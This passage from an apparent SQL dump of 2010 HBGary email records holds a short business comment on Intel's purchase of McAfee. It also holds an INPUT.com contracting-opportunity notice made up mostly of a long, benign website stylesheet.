knows the future is in small always-on access-to-the-cloud - and they can deliver the horsepower required for immersive environments - high def 3d environment that will become the norm. But this extension of conciousness is not without risk and every user wants a secure online experience.  Intel knows a bit about security - but the security features in the chip need to be united with application layer surfaces.  This might be the best thing that ever happened to McAfee - they have the domain knowledge about hooking into software flows and scanning for patterns, but the end-node for McAfee is the PC, not the future device.  Intel&#39;s business has always been about massive scale and this might push McAfee into the future.  This event may signal an emergence period of security integration into the end node.\r\n\r\n \r\n \r\nOn Thu, Aug 19, 2010 at 7:34 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\nI thought this NY Times piecee on the news was interesting....\r\n \r\nhttp://www.nytimes.com/2010/08/20/technology/20chip.html?_r=1&amp;src=twt&amp;twt=nytimestech\r\n\r\n',7550,'aaron_hbgary_com/7550.html'),(10645,'2010-08-20','inputupdate@input.com','/aaron@hbgary.com/new/1297008228.M708213P14101Q5500.eml','aaron@hbgary.com','INPUT Opportunity #65147: ENTERPRISE MANAGEMENT AND MONITORING SERVICES','\r\nView this Opportunity Report here:  http://www.input.com/index.cfm?fractal=opportunities.dsp.search.detail&OppId=65147\r\n\r\nThis email was sent to you by INPUT on behalf of mary.sullivan@fidelissecurity.com.\r\n\r\nyou might be interested in this--could partner to provide some of the services. call me if you want more info\r\n \r\n\r\n\r\n/* */\r\n/* \r\n * INPUT.com GLOBAL Cascading Style Sheet\r\n * Author: Elysa Darling \r\n * Copyright: 2005 INPUT, all rights reserved \r\n *\r\n */\r\n\r\n/*  ======================================================= global styles ============================================ */\r\n\r\n\r\nhtml {height:100%;}\r\n\r\nhtml>body sup { line-height: 0;/* Hide from IE/Win */}\r\n\r\nbody{ font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 1em; color: #000000; text-align:left; background-color: #ffffff; \r\n scrollbar-base-color: #e8e8e8; scrollbar-track-color: #f3f3f3; scrollbar-arrow-color: #999999; scrollbar-shadow-color: #e8e8e8;\r\n scrollbar-lightshadow-color: #ffffff;  scrollbar-darkshadow-color: #ababab; scrollbar-highlight-color: #ffffff; scrollbar-3dlight-color: #c9c9c9;}\r\n\r\np {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 1em; color: #000000;}\r\n\r\ntable, tr, td  {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px;color: #000000;}\r\n\r\nform {display: inline;margin: 0; padding: 0;/* removes form gapping */ }\r\n\r\nimg {border: none;/* no borders for images */ }\r\n\r\n/*** Content Links ***/ \r\na {color:#0A4CBC;text-decoration:none;}\r\na:visited {color:#6197CE;text-decoration: none;}\r\na:hover {color:#0A4CBC; text-decoration:underline;}\r\na:active {color:#0A4CBC;text-decoration:none;}\r\n\r\n/*** lists ***/ \r\n\r\nul, li {font: 11px Verdana, Arial, Helvetica, sans-serif;}\r\nul.nbList, li.nbList {font: 11px Verdana, Arial, Helvetica, sans-serif; list-style-position: inside; line-height: 20px; padding-left: 4px; margin-left: 4px;list-style-type: none;}\r\nul.emphBullet, li.emphBullet {list-style-image: url(\'http://www.input.com/globalImages/icons/emphBullet.gif\');  padding-left: 5px;  font-style:normal;  font-variant:normal; font-weight:normal;  font-size:11px;  font-family:Verdana, Arial, Helvetica, sans-serif;}\r\n\r\ndiv{font: 11px Verdana, Arial, Helvetica, sans-serif; }\r\ndiv.divider {font: 6px Arial, Helvetica, sans-serif;border-top: 1px dashed #E1E1E1; line-height: 2px;}\r\n\r\nhr {height: 1px;color : #DFDFDF;}\r\nhr.dtd {border-left:0px none; border-right:0px none; border-bottom:0px none; border-top:1px dotted #09C; width: 100%;height: 1px;text-align: center; margin-left:0; margin-right:auto;  margin-top:10px;  margin-bottom:0} \r\n\r\n.hLnDtd {background-image: url(http://www.input.com/globalImages/misc/hLineDotted.gif); }\r\n.hRule {border-bottom: 1px solid #D6D6D6; }\r\n.vLineDivider{font-family: Arial, Helvetica, sans-serif;font-size: 10px;font-weight: normal;color: #999999;}\r\n\r\nlegend {font: 14px Arial, Helvetica, Geneva, Lucida, Verdana, sans-serif; font-weight: bold; color:#454545; position:absolute; top:-10px; padding:2px;}\r\nfieldset {background:#E9F1FF; border:1px solid #B0C0CF; position:relative; margin-top:20px;padding-top:5px;padding-left: 8px; padding-bottom: 5px;/* border:0 solid;Removes the fieldset border in Opera*/}\r\nfieldset.reverse {background:#ffffff; border:1px solid #B0C0CF; position:relative; margin-top:20px;padding-top:5px;padding-left: 8px; padding-bottom: 5px;} \r\nfieldset.myINPUT {background:#efefef; border:1px solid #9c9c9c;  margin-top:15px; padding-top:5px;padding-left: 8px; padding-bottom: 5px;}\r\n\r\nselect, option {font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 11px;color: #000000;}\r\nselect.disabled {font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 11px;color: #000000; border: outset 1px #adff2f;}\r\nselect.menuOptions {font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 11px;color: #999999;}\r\n\r\noption.disabled {font-family: Arial, Helvetica, Verdana, sans-serif;font-size: 11px;color: #999999; background-color: #CCCCCC; border: outset 1px #adff2f;}\r\noption.one {color: #000000; background-color: #666666;}\r\noption.two {color: #000000; background-color: #FFFEE5;}\r\noption.searchMenu {background-color: #FBFBFB; color: #2B2B2B;}\r\n\r\ninput, textarea {font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 11px;}\r\ninput.disabled {font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 11px;background-color: #E8E8E8; border: outset 1px #E8E8E8;}\r\ninput.checkboxBx {background-color: #DDEAF6;}\r\n/*\r\ninput:focus {background: #fffbdf; }\r\ninput:focus:hover {background: #fffbdf; }\r\n*/\r\n\r\n\r\n\r\n/*=========================================== Modules =================================================================================*/\r\n\r\n/*** =================== Tabs on top of module header ======================***/ \r\n\r\n.moduleMainTabLinkSelected{font-family:Geneva, Arial, Helvetica, sans-serif; font-size:15px; color:#ffffff; font-weight:bold;}\r\n\r\n/*** ============================***/\r\n\r\n.moduleMainTabLinkUnselected{font-family:Geneva, Arial, Helvetica, sans-serif; font-size:15px; color:#356498; font-weight:normal;}\r\na.moduleMainTabLinkUnselected {font-family:Geneva, Arial, Helvetica, sans-serif; font-size:15px; color:#356498; font-weight:normal;}\r\na.moduleMainTabLinkUnselected:visited {font-family:Geneva, Arial, Helvetica, sans-serif; font-size:15px; color:#356498; font-weight:normal;} \r\na.moduleMainTabLinkUnselected:hover{font-family:Geneva, Arial, Helvetica, sans-serif; font-size:15px; color:#356498; font-weight:normal;}\r\na.moduleMainTabLinkUnselected:active {font-family:Geneva, Arial, Helvetica, sans-serif; font-size:15px; color:#356498; font-weight:normal;}\r\n\r\n/*** ======================= Tabs inside module =============================***/ \r\n\r\n.moduleSubTabLinkSelected{font-family:Geneva, Arial, Helvetica, sans-serif; font-size:15px; color:#356498; font-weight:bold;}\r\n.moduleSubTabLinkUnselected{font-family:Geneva, Arial, Helvetica, sans-serif; font-size:15px; color:#ffffff; font-weight:bold;}\r\n\r\n/*** ============= Function buttons on module header ===============***/ \r\n\r\n.moduleEdit{font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 9px;font-weight: bold;color: #6d6d6d;text-decoration: none;padding-right: 3px;padding-left: 3px;padding-top: 1px;padding-bottom: 1px;background-color: #ffffff; border:1px solid #6d6d6d; position: relative;}\r\na.moduleEdit{font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 9px; font-weight: bold; color: #6d6d6d; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px; padding-bottom: 1px;background-color: #ffffff; border:1px solid #6d6d6d; position: relative;}\r\na.moduleEdit:visited{font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 9px; font-weight: bold; color: #6d6d6d; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px; padding-bottom: 1px; background-color: #ffffff; border:1px solid #6d6d6d; position: relative;}\r\na.moduleEdit:hover{ font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9px; font-weight: bold; color: #6d6d6d; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px;padding-bottom: 1px;background-color: #ffffff; border:1px solid #6d6d6d; position: relative;}\r\na.moduleEdit:active{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9px; font-weight: bold; color: #6d6d6d; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px; padding-bottom: 1px;background-color: #ffffff; border:1px solid #6d6d6d; position: relative;}\r\n\r\n\r\n/*=========================================== TEAMING DETAIL =============================================*/\r\n\r\n.boxDataBorder {border:1px solid #355387;background-color:grey; }\r\n.boxDataHeader {background-color:#d6e4f5;}\r\n.boxDataContent {background-color:#EDEDED;}\r\n.boxDataContentBG1 {background-color:#e1e2e3;}\r\n.boxDataContentBG2 {background-color:#f8f8f8;}\r\n\r\n/*  Data updated msg.  */\r\n\r\n.infoupdateMsgBx{border:1px solid #83ce00; background-color:#d5ff8d; padding-top: 2px; padding-right: 4px; padding-bottom: 2px; padding-left: 4px; position:relative}\r\n.infoupdateMsgTxt{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold; color:#000000;padding-bottom: 2px; padding-right: 4px; padding-left: 4px; text-align:center }\r\n\r\n/*** ======================================== INTERIM PROD HOME PAGE ===============================***/ \r\n.prodHomePageBg{background-color: #F1F6F7;}\r\n.prodHomePageBorder{border: 1px solid #F1F6F7;background-color: #ffffff;}\r\n\r\n/* ============ Content ================ */ \r\n.prodHomePageTxt {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: normal; color:#707070; text-decoration:none;}\r\n/* sm added for myInput* 03/03/06 */\r\n.prodHomePageTxtSm {white-space : normal;font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9px; font-weight: normal; color:#707070; text-decoration:none;}\r\n\r\n.prodHomePageHeader {font-family:Geneva, Arial, Helvetica, sans-serif; font-size:17px; color:#000000; font-weight:bold;}\r\n.prodHomePageSubHeaderDate {font-family:Arial,Helvetica,sans-serif; color: #4b85c7; font-size: 14px; font-weight: bold;}\r\n\r\n.prodHomePageSubHeader {font-family:Verdana,Arial,Helvetica,sans-serif; color: #0077D4; font-size: 11px; font-weight: bold; text-decoration:none;}\r\na.prodHomePageSubHeader {font-family:Verdana,Arial,Helvetica,sans-serif; color: #0077D4; font-size: 11px; font-weight: bold; text-decoration:none;}\r\na.prodHomePageSubHeader:visited {font-family:Verdana,Arial,Helvetica,sans-serif; color: #0077D4; font-size: 11px; font-weight: bold; text-decoration:none;}\r\na.prodHomePageSubHeader:hover {font-family:Verdana,Arial,Helvetica,sans-serif; color: #0077D4; font-size: 11px; font-weight: bold; text-decoration:underline;}\r\na.prodHomePageSubHeader:active {font-family:Verdana,Arial,Helvetica,sans-serif; color: #0077D4; font-size: 11px; font-weight: bold; text-decoration:none;}\r\n\r\n.prodHomePageSubHeaderBG{font-family:Geneva, Arial, Helvetica, sans-serif; font-size:14px; color:#333333; font-weight:bold; background-color:#eeeeee;padding-top: 4px;padding-right: 2px;padding-bottom: 4px;padding-left: 2px;}\r\n\r\n/* ============ links ================ */ \r\n.prodHomePageLink {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: normal; color:#000000; text-decoration:none;position: relative;}\r\na.prodHomePageLink {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: normal; color:#000000; text-decoration:none;position: relative;}\r\na.prodHomePageLink:visited {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: normal; color:#000000; text-decoration:none;position: relative;}\r\na.prodHomePageLink:hover {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: normal; color:#000000; text-decoration:none;position: relative;}\r\na.prodHomePageLink:active {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: normal; color:#000000; text-decoration:none;position: relative;}\r\n\r\n/* sm modified for myInput* 03/03/06 */\r\n.prodHomeNavLink,a.prodHomeNavLink,a.prodHomeNavLink:visited,a.prodHomeNavLink:hover,a.prodHomeNavLink:active{\r\nfont-family: Verdana, Arial, Helvetica, sans-serif; \r\nwhite-space : nowrap;\r\nfont-size: 11px; \r\nfont-weight: bold; \r\ncolor:#ffffff; \r\ntext-decoration:none; \r\nbackground-color: #FF6600; \r\npadding: 2px; \r\nposition: relative; \r\nborder-color: #993300; \r\nborder-style: solid; \r\nborder-width: 1px;  }\r\n \r\n/* ============ table ================ */ \r\n\r\n.prodHomeAnnounceTableHeader {font-family:Arial, Helvetica, sans-serif; font-size:17px; color:#000000; font-weight:bold;}\r\n.prodHomeAnnounceTableTxt {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 12px;color:#000000;text-decoration:none;}\r\n.prodHomeAnnounceTableHeaderBG {background-color: #e2ecf8;border-top-color: #0077d4;border-top-style: solid;border-top-width: 1px;}\r\n.prodHomeAnnounceTableBorder {border-right-color: #dfdfdf;border-right-style: solid;border-right-width: 1px;border-bottom-color: #dfdfdf;border-bottom-style: solid;border-bottom-width: 1px; border-left-color: #dfdfdf; border-left-style: solid; border-left-width: 1px;}\r\n\r\n.prodHomeAnnounceTableRowBG1 {background-color: #f1f1f1;font-family: Arial, Helvetica, sans-serif; font-size: 11px;color:#000000; font-weight:bold;text-decoration:none;}\r\n.prodHomeAnnounceTableRowBG2 {background-color: #f7f7f7;font-family: Arial, Helvetica, sans-serif; font-size: 11px;color:#000000; font-weight:bold;text-decoration:none;}\r\n.prodHomeAnnounceTableRowBG3 {background-color: #ffffff;font-family: Arial, Helvetica, sans-serif; font-size: 11px;color:#000000; font-weight:bold;text-decoration:none;}\r\n\r\n\r\n/*** ========================================================== MyINPUT STYLES =============================================================================***/ \r\n\r\ntd.newsItemTxt {font: Arial, sans-serif; font-size: 11px; font-weight: normal; color:#676767; text-decoration:none;}\r\n.myInputEmailSubHeader {font: Arial, sans-serif; font-size: 12px; font-weight: bold; color:#FFFFFF; text-decoration:none;}\r\n\r\n/************************************/ \r\n\r\n.pageLink {font: Arial, sans-serif;font-size: 11px;font-weight: bold;color:#2c67a4;text-decoration:none;}\r\na.pageLink {font: Arial, sans-serif; font-size: 11px;font-weight: bold;color:#2c67a4;text-decoration:none;}\r\na.pageLink:visited {font: Arial, sans-serif;font-size: 11px;font-weight: bold;color: #2c67a4;text-decoration: none;} \r\na.pageLink:hover {font: Arial, sans-serif; font-size: 11px;font-weight: bold;color:#2c67a4;text-decoration:none;}\r\na.pageLink:active {font: Arial, sans-serif; font-size: 11px;font-weight: bold; color:#2c67a4;text-decoration:none;}\r\n\r\n.myInputDownloadLink { font: 11px bold Verdana, Arial, Helvetica, sans-serif; color:#ffffff; text-decoration:none; background-color: #003082; position: relative; \r\npadding-top: 2px; padding-right: 5px; padding-bottom: 2px; padding-left: 5px; \r\nborder-top: 1px solid #a8b9d2; border-right: 1px solid #a8b9d2; border-bottom: 1px solid #a8b9d2; border-left: 1px solid #a8b9d2;}\r\n\r\na.myInputDownloadLink { font: 11px bold Verdana, Arial, Helvetica, sans-serif; color:#ffffff; text-decoration:none; background-color: #003082; position: relative;\r\npadding-top: 2px; padding-right: 5px; padding-bottom: 2px; padding-left: 5px; \r\nborder-top: 1px solid #a8b9d2; border-right: 1px solid #a8b9d2; border-bottom: 1px solid #a8b9d2; border-left: 1px solid #a8b9d2;}\r\na.myInputDownloadLink:visited { font: 11px bold Verdana, Arial, Helvetica, sans-serif; color:#ffffff; text-decoration:none; background-color: #003082; position: relative;\r\npadding-top: 2px; padding-right: 5px; padding-bottom: 2px; padding-left: 5px; \r\nborder-top: 1px solid #a8b9d2; border-right: 1px solid #a8b9d2; border-bottom: 1px solid #a8b9d2; border-left: 1px solid #a8b9d2;}\r\na.myInputDownloadLink:hover { font: 11px bold Verdana, Arial, Helvetica, sans-serif; color:#ffffff; text-decoration:none; background-color: #003082; position: relative;\r\npadding-top: 2px; padding-right: 5px; padding-bottom: 2px; padding-left: 5px; \r\nborder-top: 1px solid #a8b9d2; border-right: 1px solid #a8b9d2; border-bottom: 1px solid #a8b9d2; border-left: 1px solid #a8b9d2;}\r\na.myInputDownloadLink:active { font: 11px bold Verdana, Arial, Helvetica, sans-serif; color:#ffffff; text-decoration:none; background-color: #003082; position: relative;\r\npadding-top: 2px; padding-right: 5px; padding-bottom: 2px; padding-left: 5px; \r\nborder-top: 1px solid #a8b9d2; border-right: 1px solid #a8b9d2; border-bottom: 1px solid #a8b9d2; border-left: 1px solid #a8b9d2;}\r\n\r\n/************************************/ \r\n\r\na.myInputHeaderLinks {font: Arial, sans-serif;  font-size: 12px;font-weight: normal;color:#a4a4a4; text-decoration:none; }\r\na.myInputHeaderLinks:visited {font: Arial, sans-serif; font-size: 12px; font-weight: normal;color:#a4a4a4; text-decoration:none; } \r\na.myInputHeaderLinks:hover{font: Arial, sans-serif; font-size: 12px;font-weight: normal;color:#a4a4a4; text-decoration:none;  }\r\na.myInputHeaderLinks:active {font: Arial, sans-serif; font-size: 12px; font-weight: normal;color:#a4a4a4; text-decoration:none; }\r\n\r\n.linkDivider{ font-weight: normal; color: #9C9C9C;}\r\n\r\n/************************************/  \r\n\r\n.newsItemLinkTxt {font: Arial, sans-serif;  font-size: 11px;font-weight: bold; color:#b73b07; text-decoration:none;}\r\na.newsItemLinkTxt {font: Arial, sans-serif; font-size: 11px;font-weight: normal;color:#b73b07; text-decoration:none;}\r\na.newsItemLinkTxt:visited {font: Arial, sans-serif; font-size: 11px; font-weight: normal;color: #b73b07; text-decoration: none;} \r\na.newsItemLinkTxt:hover{font: Arial, sans-serif; font-size: 11px; font-weight: normal;color:#b73b07; text-decoration:underline;}\r\na.newsItemLinkTxt:active {font: Arial, sans-serif; font-size: 11px; font-weight: normal;color:#b73b07; text-decoration:none;}\r\n\r\na.newsItemLinkTxtRead {font: Arial, sans-serif;font-size: 11px;font-weight: normal;color:#727272; text-decoration:none;}\r\na.newsItemLinkTxtRead {font: Arial, sans-serif;font-size: 11px;font-weight: normal;color:#727272; text-decoration:none;}\r\na.newsItemLinkTxtRead:visited {font: Arial, sans-serif; font-size: 11px;font-weight: normal;color: #727272;text-decoration: none;} \r\na.newsItemLinkTxtRead:hover{font: Arial, sans-serif; font-size: 11px;font-weight: normal;color:#727272; text-decoration:underline;}\r\na.newsItemLinkTxtRead:active {font: Arial, sans-serif; font-size: 11px;font-weight: normal;color:#727272; text-decoration:none;}\r\n\r\n.newsItemDate {font: Arial, sans-serif;  font-size: 11px;font-weight: normal;color:#727272; text-decoration:none;}\r\n\r\n/*********** new search - IN USE **********************************/\r\n.searchBxField {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;color: #000000; font-weight:normal; background-color: #ffffff; padding-bottom: 5px; padding-top: 5px;line-height: 20px;}\r\n/******************************************************************/\r\n\r\n/*=========================================== New Search TEST===========================================================*/\r\n\r\n.searchBxOuterBorder {border:1px solid #9C9C9C; background-color:#ffffff;}\r\n.searchBxInsideBg {background-color:#ffffff;}\r\n.searchBxOuterBorderBG {background-color:#CCCCCC; border:1px solid #9C9C9C;}\r\n.searchBxHeader {background-color: #EFEFEF; border-top-color: #9C9C9C; border-top-style: solid;border-top-width: 1px; border-left-color: #9C9C9C; border-left-style: solid; border-left-width: 1px; border-right-color: #9C9C9C; border-right-style: solid; border-right-width: 1px;}\r\n.searchBxHeaderTitle {font-family: \"Lucida Grande\", geneva, arial, helvetica, sans-serif;font-size: 15px;color: #000000; font-weight:bold;}\r\n.searchBxSectionHeader {font-family: \"Lucida Grande\", geneva, arial, helvetica, sans-serif; font-size: 13px;color: #ffffff; font-weight:bold; background-color: #4180C0; padding-bottom: 4px;padding-top: 4px;line-height: 15px;}\r\n.searchBxSubSectionTitle {font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;font-size: 12px;color: #34526c;font-weight:bold;background-color: #d2e4fc; padding-top: 2px; padding-left: 5px; padding-bottom: 2px;}\r\n.searchBxSubSectionTitleAdmin { font-family: \"Lucida Grande\", geneva, arial, helvetica, sans-serif; font-size: 12px;color: #ffffff; font-weight:bold;background-color: #E2691F; padding-top: 2px; padding-left: 5px; padding-bottom: 2px;}\r\n\r\n.searchTxtBox{border:1px #999999 solid; background-color:#ffffff; font:9px Geneva, Verdana, Arial; color:#666666; height:20px;}\r\n.searchBxFieldAdmin {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 11px;color: #000000; font-weight:bold;background-color: #F9E0A5; padding-top: 4px; padding-bottom: 0px;}\r\n.searchBxFieldGroup {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 10px;color: #000000; font-weight:normal; background-color: #DDDDDD;}\r\n.searchBxSectionLabel {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px;color: #000000; font-weight:bold;background-color: #F2F2F2;}\r\n.searchTipsTxt {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px;color: #304966; font-weight: normal;}\r\n.prodTitle{font-size:large; font-family:Arial,Helvetica,sans-serif; color:#666666;}\r\n\r\n\r\n/*** Product name header and page title ****/\r\n\r\n.productNameHeader {font-family: \"Lucida Grande\", geneva, arial, helvetica, sans-serif; font-size: 18px; font-weight: bold; color:#656565;}\r\n.pageTitleSubheader {font-family: \"Lucida Grande\", geneva, arial, helvetica, sans-serif; font-size:14px; color:#656565; font-weight:normal;}\r\n\r\n/*** Opportunity / Company Name ***/\r\n.detailName {font: \'Lucida Grande\', Geneva, Verdana, Arial, Helvetica, sans-serif;font-size: 15px;font-weight: bold;color:#d5600b;}\r\n\r\n/*** Opportunity / Company ID ***/\r\n.detailID {font: \'Lucida Grande\', Geneva, Verdana, Arial, Helvetica, sans-serif;font-size: 13px;font-weight: normal;color:#3e3e3e;}\r\n.detailMarkAsTxt{font: \'Lucida Grande\', Geneva, Verdana, Arial, Helvetica, sans-serif; font-size: 13px; font-weight: bold; color:#3e3e3e; vertical-align: middle;}\r\n/*** Misc ****/\r\n\r\n.noDataTxt {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px; color:#7D7D7D;}\r\n.noteTxt {font-family:Verdana, Arial, Helvetica, sans-serif;font-size:10px; color:#333333;}\r\n.msgTxtSubHead {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;font-weight: normal;color: #575757;}\r\n.requiredField {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color: #CC0000;}\r\n.required { text-align:left; padding-left: 5px; font: .8em Verdana, Arial, Helvetica, sans-serif; color: #999999; }\r\n.asterisk {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color: #CF0606;}\r\n.raquo {color:#CC0000;}\r\n\r\na.dotted:hover{ border-bottom: 1px dotted #003163;}\r\n\r\na.backTop{font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px; color:#CC3300; text-decoration:underline;}\r\na.backTop:link{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #CC3300; text-decoration: underline;}\r\na.backTop:visited{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #CC3300; text-decoration: underline;}\r\na.backTop:hover{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #CC3300; text-decoration: none;}\r\n\r\n.infoMsgBox{background-color: #3269C3; height: 30px; vertical-align: middle; text-align: left; padding: 3px; border: 1px solid #003082;}\r\n\r\n.infoMsgTxt{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #ffffff; text-decoration: none;}\r\n\r\na.infoMsgTxt{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #ffffff; text-decoration: none;}\r\na.infoMsgTxt:link{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #A5CFFF; text-decoration: none;}\r\na.infoMsgTxt:visited{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #A5CFFF; text-decoration: none;}\r\na.infoMsgTxt:hover{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #ffffff; text-decoration: underline;}\r\na.infoMsgTxt:active{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #A5CFFF; text-decoration: none;}\r\n\r\n#processingDiv{ position:relative; width: 300px; padding: 4px; z-index: 10000000;}\r\n\r\n/*** Error Msg ****/\r\n.errorText {color: #CC0000; font-weight: bold; }\r\n\r\n\r\n/*** Error/info page ****/\r\n.subheadSpecial{font-family:Verdana, sans-serif, Arial;font-size:12px; color: #003082; }\r\n\r\n\r\n/*** Client Links ***/ \r\n\r\na.clientLink:link { border-left:1px solid #A8B9D2; border-right:1px solid #56698B; border-top:1px solid #A8B9D2; border-bottom:1px solid #56698B; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #000000; text-decoration: none; padding-right: 3px; padding-left: 3px;padding-top: 1px;padding-bottom: 2px;background-color: #b6d0f9; position: relative; /* background: url(\'http://www.input.com/globalImages/buttons/clBtnBg.gif\') center; */ }\r\na.clientLink:visited {border-left:1px solid #A8B9D2; border-right:1px solid #56698B; border-top:1px solid #A8B9D2; border-bottom:1px solid #56698B; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #000000; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px;padding-bottom: 2px;background-color: #b6d0f9; position: relative; /* background: url(\'http://www.input.com/globalImages/buttons/clBtnBg.gif\') center; */}\r\na.clientLink:hover {border-left:1px solid #B7B7B7; border-right:1px solid #6E6D6D; border-top:1px solid #B7B7B7; border-bottom:1px solid #6E6D6D; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;font-weight: bold; color: #333333; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px;padding-bottom: 2px;background-color: #E3EAF9; position: relative; /* background: url(\'http://www.input.com/globalImages/buttons/clBtnBgHover.gif\') center; */ }\r\na.clientLink:active { border-left:1px solid #A8B9D2; border-right:1px solid #56698B; border-top:1px solid #A8B9D2; border-bottom:1px solid #56698B;  font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #000000; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px;padding-bottom: 2px;background-color: #b6d0f9; position: relative; /* background: url(\'http://www.input.com/globalImages/buttons/clBtnBg.gif\') center; */}\r\n\r\n/*** CL 1 ***/\r\n\r\na.clientLink1:link {border-left:1px solid #A8B9D2; border-right:1px solid #56698B; border-top:1px solid #A8B9D2; border-bottom:1px solid #56698B; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #000000; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px; padding-bottom: 2px;background-color: #E3EAF9; position: relative; /* background: url(\'http://www.input.com/globalImages/buttons/clBtnBg.gif\') center; */}\r\na.clientLink1:visited { border-left:1px solid #A8B9D2; border-right:1px solid #56698B; border-top:1px solid #A8B9D2; border-bottom:1px solid #56698B; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #000000; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px; padding-bottom: 2px;background-color: #E3EAF9; position: relative; /* background: url(\'http://www.input.com/globalImages/buttons/clBtnBg.gif\') center; */ }\r\na.clientLink1:hover {border-left:1px solid #B7B7B7; border-right:1px solid #6E6D6D; border-top:1px solid #B7B7B7; border-bottom:1px solid #6E6D6D; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #333333; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px; padding-bottom: 2px;background-color: #E3EAF9; position: relative; background: url(\'http://www.input.com/globalImages/buttons/clBtnBgHover.gif\') center;}\r\na.clientLink1:active { border-left:1px solid #A8B9D2; border-right:1px solid #56698B; border-top:1px solid #A8B9D2; border-bottom:1px solid #56698B;font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #000000; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 1px;padding-bottom: 2px;background-color: #E3EAF9; position: relative; /* background: url(\'http://www.input.com/globalImages/buttons/clBtnBg.gif\') center; */ }\r\n\r\n/*** CL Grayed Out ***/\r\n\r\n.clientLinkInactive {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #666666; border: 1px solid #666666; background-color: #ffffff;  text-decoration: none; font-weight: bold; padding-left: 3px; padding-bottom: 0px; padding-right: 3px; padding-top: 0px;}\r\n\r\n/************************* Footer Styles **************************/ \r\n\r\n/*** NOT Logged-in Footer Styles ***/\r\n\r\n.footerTxt{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;font-weight: normal;color: #333333;}\r\n.footerVDivider{font-family: Arial, Helvetica, sans-serif;font-size: 10px; font-weight: normal;color: #9C9C9C;}\r\n.footerTxtLg {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: normal; color: #000000;}\r\n\r\n.footerLinks{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold;color: #000000; }\r\na.footerLinks:link{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color: #000000; font-weight: bold; text-decoration: none;}\r\na.footerLinks:visited{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color: #000000; font-weight: bold; text-decoration: none;}\r\na.footerLinks:hover{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color: #666666; font-weight: bold; text-decoration: underline; background-color: #003082;}\r\na.footerLinks:active{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color: #000000; font-weight: bold; text-decoration: none;}\r\n\r\n/*** Logged-in Footer Styles ***/\r\n\r\n.productFooterBg{background-color: #ffffff; height: 50px;}\r\n\r\n.productFooterTxt{font-family: Verdana, Arial, Helvetica, 